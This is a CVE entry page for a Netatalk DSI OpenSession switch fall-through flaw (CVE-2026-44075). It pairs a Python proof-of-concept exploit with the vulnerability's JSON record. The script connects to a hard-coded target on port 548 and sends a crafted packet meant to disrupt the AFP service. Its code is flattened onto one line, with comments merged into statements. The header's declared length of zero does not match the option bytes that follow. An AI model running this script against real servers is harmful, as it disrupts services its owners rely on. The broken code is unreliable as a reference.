CVE-2026-44075

import socket # PoC for CVE-2026-44075: Netatalk DSI OpenSession Missing Break Statement # This script sends a crafted DSI OpenSession request to trigger the fall-through logic. TARGET_IP = "192.168.1.100" TARGET_PORT = 548 def create_dsi_open_session_packet(): # DSI Header Structure (simplified) # Flags: Request (0x00) # Command: OpenSession (0x04) # Request ID: 1 dsi_header = bytearray() dsi_header.append(0x00) # Flags dsi_header.append(0x04) # Command: OpenSession dsi_header.extend((1).to_bytes(2, 'big')) # Request ID dsi_header.extend((0).to_bytes(4, 'big')) # Offset dsi_header.extend((0).to_bytes(4, 'big')) # Length dsi_header.extend((0).to_bytes(4, 'big')) # Reserved # Options Data # We include DSIOPT_ATTNQUANT to trigger the fall-through to DSIOPT_SERVQUANT # Option format: Type (2 bytes) | Length (2 bytes) | Data options = bytearray() # DSIOPT_ATTNQUANT (Type 0x01) options.extend((0x01).to_bytes(2, 'big')) options.extend((0x04).to_bytes(2, 'big')) # Length 4 options.extend((0x00).to_bytes(4, 'big')) # Dummy data return dsi_header + options def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) packet = create_dsi_open_session_packet() print(f"[*] Sending crafted DSI OpenSession packet...") s.send(packet) response = s.recv(1024) print(f"[+] Received response: {response}") s.close() print("[*] Exploit packet sent. Check service status for disruption.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-44075", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:29.770", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing break statement in DSI OpenSession processing in Netatalk 1.5.0 through 4.4.2 causes a DSIOPT_ATTNQUANT switch case to fall through into DSIOPT_SERVQUANT, resulting in unintended session option handling that may allow a remote attacker to cause a minor service disruption via crafted DSI session options."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-484"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44075", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}